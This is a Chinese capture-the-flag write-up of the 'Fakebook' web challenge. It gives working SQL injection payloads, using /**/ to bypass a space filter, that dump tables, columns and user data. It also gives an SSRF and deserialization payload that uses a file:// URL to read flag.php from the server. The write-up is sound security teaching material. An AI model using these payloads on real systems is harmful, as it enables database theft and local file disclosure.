当前位置: 首页 > news >正文

[网鼎杯 2018]Fakebook1

拿到题目后是一个博客的界面,这里可以登录和注册

点入登录界面,猜测可能是sql注入

试了很多次,都不是,也没有回显报错,所以把目光放到了注册上面

注册的其他行数据,差不多都可以乱填,只有一个blog项,估计是后台做了一些限制(必须包含某些字符之类的),随便填会报错

创建好点击博客进去后,在url栏会出现GET传参no = 2

可以尝试判断是否为注入点

一开始测试的是单引号闭合,但是它的回显时这样的,说明闭合符错误

因为出现上面的情况,所以猜测不是字符型注入,用了一点小方法,出现计算,说明是整数型注入

测试出,包含5个字段

当测试回显位时,该来的还是来了,有过滤

本来想看看是过滤了union还是select,结果单领出来都报语法错误,这里直接使用/**/代替空格,(union)select加括号也会报错

回显位是2

爆出数据库名称

注意注入语句的形式,如果把字段数放在后面会报错,爆出表名称

?no=-1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()

爆出user表中字段名称

?no=-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users'

查询字段所有数据,但是没有flag

no=-1 union/**/select 1,group_concat(no,username,passwd,data),3,4 from users

只能查看wp了

得到关键信息,前面都没有注意这段报错信息,这里包含了一个反序列化函数,和一段路径,后面会用到

wp还提示说,扫描后台有文件

但是为毛我扫描不出来文件啊

直接用别人wp里面的访问吧,

访问robots.txt,获取到源码

<?phpclass UserInfo
{public $name = "";public $age = 0;public $blog = "";public function __construct($name, $age, $blog){$this->name = $name;$this->age = (int)$age;$this->blog = $blog;}function get($url){$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);$output = curl_exec($ch);$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);if($httpCode == 404) {return 404;}curl_close($ch);return $output;}public function getBlogContents (){return $this->get($this->blog);}public function isValidBlog (){$blog = $this->blog;return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);}}
这是一个 PHP 类的定义,名为 UserInfo。
该类有三个公共属性:$name,$age,$blog,分别表示用户的姓名、年龄和博客链接。
该类还有一个构造函数,用于初始化这三个属性的值。
此外,该类还有两个公共方法:getBlogContents() 和 isValidBlog()。
getBlogContents() 方法用于获取用户博客的内容,它通过调用 get() 方法实现。
isValidBlog() 方法用于验证用户提供的博客链接是否合法,它使用正则表达式进行判断。如果博客链接符合标准格式,则返回 true,否则返回 false。
    function get($url){$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);$output = curl_exec($ch);$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);if($httpCode == 404) {return 404;}curl_close($ch);return $output;}
主要是这里,贼长一篇的选项,把我看烦了,差点就放弃了
这是一个 PHP 代码段,它定义了一个名为 get 的函数,该函数使用 cURL 库来获取给定 URL 的内容并返回。
具体来说,该函数使用了 curl_init() 函数初始化一个 cURL 会话,curl可以用来请求web服务器
然后使用curl_setopt() 函数设置一些选项:
CURLOPT_URL:需要获取的URL地址,也可以在curl_init()函数中设置,后面的$url变量就是它的值
CURLOPT_RETURNTRANSFER:将curl_exec()获取的信息以文件流的形式返回,而不是直接输出。使用PHP curl获取页面内容或提交数据,有时候希望返回的内容作为变量储存,而不是直接输出。这个时候就必需设置curl的CURLOPT_RETURNTRANSFER选项为1或true。

curl_exec函数是执行curl对话,这里赋值给了$output

curl_getinfo — 获取一个cURL连接资源句柄的信息,因为设置了CURLINFO_HTTP_CODE所以是返回最后一个http状态码
如果状态码不是404,就返回exec的结果。

结合起来得出结论,以上代码存在ssrf和反序列化,当我们注册后,把我们的信息序列化一下,然后存进data。在user界面,取出blog,获取资源。

路径是之前注入的时候报错爆出来的,序列化值也不用自己生成,之前注入出来了,改长度和值就行

flag.php也是被扫描出来的

?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:2:"23";s:3:"age";i:12;s:4:"blog";s:27:"file:///var/www/html/flag.php";} '

可以看到回显页面的blog已经被更改,最后查看源码就能获得信息

这里就对应的blog的内容虽然经过了base64编码

http://www.lryc.cn/news/92135.html

相关文章:

  • Oracle-第一章-多表查询和其他
  • Office Visio 2016安装
  • GPT从入门到精通之 GPT 模型入门及原理介绍
  • USB数据线上的“疙瘩”
  • 公司新来了个00后测开,上来一顿操作给我秀麻了.....
  • 深度学习架构-Tensorflow
  • SpringBoot 使用validator进行参数校验(实例操作+注意事项+自定义参数校验)
  • 字节测开岗面试记:二面被血虐,幸好还是拿到了Offer.....
  • 只会标准答案,是不可救药的愚蠢
  • RocketMQ broker启动失败
  • 浅谈useMemo函数
  • 【Python】Python系列教程-- Python3 推导式(十九)
  • docker对cpu资源做限制
  • 国际化语言项目
  • 交直流系统潮流计算及相互关联特性分析(Matlab代码实现)
  • 如何快速掌握Facebook运营+独立站运营基础?
  • Java之旅(十三)
  • Calibre 6.18.1 正式发布,功能强大的开源电子书工具
  • 如何在C语言中定义和使用函数?
  • 【C++】4.多媒体库:SFML库入门
  • 【算法题】1717. 删除子字符串的最大得分
  • Codeforces Round 877 (Div. 2) ABCD
  • easyExcel导入失败提示用户第几行有误并回滚数据
  • 问道价值互联网,区块链的下一个十年 | 2023 开放原子全球开源峰会区块链分论坛即将启幕
  • 解读 Nginx 配置
  • 知识变现海哥:课程定价容易出现的三大误区
  • Android开发 LogDog (日志狗)V2.0.0
  • JavaScript break
  • linux服务器使用curl命令处理常用es查询
  • Office Visio 2013安装